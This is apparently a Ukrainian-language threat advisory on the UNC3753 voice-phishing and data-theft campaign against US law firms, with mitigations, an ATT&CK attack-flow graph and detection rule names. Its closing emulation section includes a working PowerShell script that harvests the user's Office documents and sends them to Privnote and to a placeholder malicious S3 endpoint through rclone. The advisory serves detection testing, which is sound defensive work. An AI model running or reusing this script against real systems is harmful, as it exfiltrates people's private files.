Консультація шукає: Триваючі цілеспрямовані атаки на юридичні фірми США
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Кластер загроз, що діє з фінансових мотивів та відомий як UNC3753, проводить вішинг-кампанії, які обманюють жертв, змушуючи їх встановлювати програмне забезпечення для віддаленого моніторингу та управління. Після встановлення доступу, актори крадуть конфіденційну юридичну та фінансову інформацію, а потім шантажують організацію жертви, погрожуючи публічним викриттям. Кампанія зосереджена на фірмах зі сфери професійних послуг США, зокрема на юридичних фірмах, та може включати як кіберзлочини, так і фізичне викрадення даних.
Розслідування
Mandiant спостерігала за повним циклом проникнення — від початкового голосового фішингу до крадіжки даних і шантажу, іноді протягом одного робочого дня. Жертви були переконані використовувати інструменти для спільного доступу до екрану та RMM програмне забезпечення, таке як AnyDesk, Bomgar або спеціальний інсталятор SuperOps, наданий за допомогою команди curl Дані виводилися за допомогою інструментів, таких як WinSCP, Rclone або прямі завантаження на комерційні облікові записи хмарного зберігання файлів користувачів.
Запобіжні заходи
Організації повинні навчати персонал розпізнавати вішинг-атаки, застосовувати суворі процедури перевірки для будь-яких запитів на віддалену підтримку та блокувати несанкціоновані RMM та інструменти для спільного доступу до екрану. Відключення зовнішніх носіїв, моніторинг незвичних вихідних передач у хмарні сховища або FTP-ресурси, застосування умовного доступу до VDI та забезпечення багатофакторної автентифікації для критичних репозиторіїв документів можуть додатково знижувати ризики.
Реагування
Якщо ця активність виявлена, негайно ізолюйте уражену кінцеву точку, припиніть будь-які несанкціоновані віддалені сесії та видаліть встановлені бінарники RMM. Слідчі повинні зібрати історію командного рядка, зміни в реєстрі та арефакти запланованих завдань для судово-медичного огляду. Компрометовані облікові дані повинні бути скинуті, потрібно оцінити витік даних, а залучення правоохоронних органів слід розглянути, якщо почався шантаж.
"graph TB %% Визначення класів classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef technique fill:#ccccff classDef operator fill:#ff9900 %% Визначення вузлів initial_access["<b>Дія</b> – <b>T1566.004 Фішинг: Озвучений фішинг</b><br/><b>Опис</b>: Зловмисник використовує переконливу голосову розмову, щоб обманом змусити ціль надати облікові дані або виконати шкідливі команди."] class initial_access action user_execution["<b>Дія</b> – <b>T1204.002 Шкідливий файл</b><br/><b>Інструмент</b>: cURL + MSI інсталятор<br/><b>Опис</b>: Жертва запускає шкідливий MSI файл, завантажений через cURL, що призводить до виконання коду в системі."] class user_execution action remote_desktop["<b>Дія</b> – <b>T1219.002 Програмне забезпечення для віддаленого робочого столу</b><br/><b>Інструменти</b>: Zoom, Microsoft Teams, AnyDesk<br/><b>Опис</b>: Легітимні програми для віддаленого робочого столу та онлайн-зустрічей використовуються для підтримання стійкого віддаленого доступу."] class remote_desktop action discovery["<b>Дія</b> – <b>T1083 Виявлення файлів і директорій</b> & <b>T1680 Виявення локального зберігання</b><br/><b>Опис</b>: Зловмисник перераховує файли, директорії та місця локального зберігання для пошуку цінних даних для виводу."] class discovery action data_staging["<b>Дія</b> – <b>T1074 Підготовка даних</b> & <b>T1560 Архівування зібраних даних</b><br/><b>Опис</b>: Зібрані файли локально підготовлюються та архівуються для підготовки до виводу."] class data_staging action exfiltration["<b>Дія</b> – <b>T1567.002 Вивід у хмарне сховище</b> & <b>T1020 Автоматизований вивід</b><br/><b>Ціль</b>: Google Drive<br/><b>Опис</b>: Автоматизоване завантаження підготовлених архівів у сервіс хмарного зберігання для віддаленого вилучення."] class exfiltration action physical_media["<b>Дія</b> – <b>T1052 Вивід через фізичний носій</b><br/><b>Опис</b>: Передача даних на знімні носії для автономного виводу у випадках обмеження мережевих каналів."] class physical_media action cleanup["<b>Дія</b> – <b>T1070.001 Очищення журналів подій Windows</b><br/><b>Опис</b>: Видалення журналів подій Windows для стирання доказів проникнення."] class cleanup action %% З’єднання вузлів initial_access –>|веде до| user_execution user_execution –>|вмикає| remote_desktop remote_desktop –>|вмикає| discovery discovery –>|веде до| data_staging data_staging –>|вмикає| exfiltration exfiltration –>|веде до| physical_media physical_media –>|слідує за| cleanup "
Потік атаки
Виявлення
Альтернативне програмне забезпечення для віддаленого доступу / управління (через створення процесу)
Перегляд
Підозріле використання CURL (через командний рядок)
Перегляд
Можлива спроба установки програмного забезпечення SuperOps RMM (через події файлів)
Перегляд
Альтернативне програмне забезпечення для віддаленого доступу / управління (через систему)
Перегляд
Альтернативне програмне забезпечення для віддаленого доступу / управління (через аудит)
Перегляд
Можлива спроба установки програмного забезпечення RMM за допомогою MsiInstaller (через журнали програм)
Перегляд
IOC (джерело IP) для виявлення: Звернення за порадою: Поточна цільова кампанія проти юридичних фірм США
Перегляд
IOC (IP призначення) для виявлення: Звернення за порадою: Поточна цільова кампанія проти юридичних фірм США
Перегляд
Виявлення несанкціонованого обміну файлами та високого обсягу SSH трафіку [Firewall]
Перегляд
Виведення даних UNC3753 за допомогою Privnote та інструментів передачі файлів [Windows Network Connection]
Перегляд
Віддалений доступ UNC3753 та шкідлива установка MSI [Windows Process Creation]
Перегляд
Виконання моделювання
Передумова: Перевірка телеметрії та базової згодомості повинна була пройти.
Обґрунтування: Цей розділ детально описує точне виконання техніки нападника (TTP), розробленої для запуску правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати визначені TTP та прагнути генерувати точну телеметрію, очікувану логікою виявлення. Абстрактні або нерелевантні приклади призведуть до помилкової діагностики.
-
Оповідь атаки та команди:
-
Розвідка та підготовка даних (T1005, T1083):
Зловмисник перераховує каталоги користувачів і копіює всі*.docxand*.xlsxфайли в папку для підготовкиC:TempStagedData. -
Завантаження за допомогою Privnote (T1567.002):
Використовуючи PowerShell, зловмисник читає кожен файл, кодує вміст у base-64 та надсилає доhttps://privnote.com/api/note. Командний рядок містить URL-адресу, яка відповідаєselection_privnoteумові. -
Передача з Rclone (T1020):
Зловмисник запускаєrclone.exe(завантажений на вимогу) для передачі підготовлених файлів у шкідливе сховище S3. Ім’я процесу “rclone.exe” відповідаєselection_tool. -
Очищення: Видалити папку для підготовки та будь-які залишкові бінарні файли.
-
-
Скрипт для регресійного тестування: (PowerShell – автономний, без зовнішніх залежностей, окрім
Invoke-WebRequest.)# ------------------------------------------------- # Емуляція виведення UNC3753 – PowerShell # ------------------------------------------------- # 1. Підготувати каталог для підготовки $staging = "$env:USERPROFILETempStagedData" New-Item -ItemType Directory -Force -Path $staging | Out-Null # 2. Копіювати вибіркові дані (емуляція збирання даних) Get-ChildItem -Path "$env:USERPROFILEDocuments" -Include *.docx, *.xlsx -Recurse -ErrorAction SilentlyContinue | ForEach-Object { Copy-Item -Path $_.FullName -Destination $staging -Force } # 3. Завантажити кожен файл на Privnote (веб-служба для виведення) $privnoteUrl = "https://privnote.com/api/note" Get-ChildItem -Path $staging -File | ForEach-Object { $content = [Convert]::ToBase64String([IO.File]::ReadAllBytes($_.FullName)) $body = @{ text = $content } # URL з'являється у командному рядку -> спрацьовує selection_privnote Invoke-WebRequest -Uri $privnoteUrl -Method POST -Body $body -UseBasicParsing | Out-Null } # 4. Завантажити Rclone (якщо не встановлено) і виконати виведення через S3 $rcloneExe = "$env:TEMPrclone.exe" if (-not (Test-Path $rcloneExe)) { Invoke-WebRequest -Uri "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -OutFile "$env:TEMPrclone.zip" Expand-Archive -Path "$env:TEMPrclone.zip" -DestinationPath $env:TEMP -Force Move-Item -Path (Get-ChildItem "$env:TEMPrclone-*-windows-amd64rclone.exe").FullName -Destination $rcloneExe -Force } # Налаштувати віддалене (шкідливе) сховище S3 – конфігурація записується у тимчасовий файл $rcloneConfig = @" [malicious type = s3 provider = AWS access_key_id = AKIAFAKEKEY secret_access_key = fakeSecretKey123 region = us-east-1 endpoint = https://malicious-s3.example.com "@ $configPath = "$env:TEMPrclone.conf" $rcloneConfig | Set-Content -Path $configPath -Encoding ASCII # Виконати rclone copy – ім'я процесу "rclone.exe" спрацьовує selection_tool & $rcloneExe copy $staging "malicious:exfil" --config $configPath --log-level INFO # 5. Очищення Remove-Item -Recurse -Force $staging Remove-Item -Force $rcloneExe, $configPath -
Команди для очищення:
# Завершити будь-які залишкові процеси WinSCP або Rclone Get-Process -Name WinSCP, rclone -ErrorAction SilentlyContinue | Stop-Process -Force # Видалити залишкові тимчасові файли (якщо є) Remove-Item -Path "$env:TEMPWinSCP.exe","$env:TEMPWinSCP.zip","$env:TEMPrclone.zip","$env:TEMPrclone-*-windows-amd64" -Recurse -Force -ErrorAction SilentlyContinue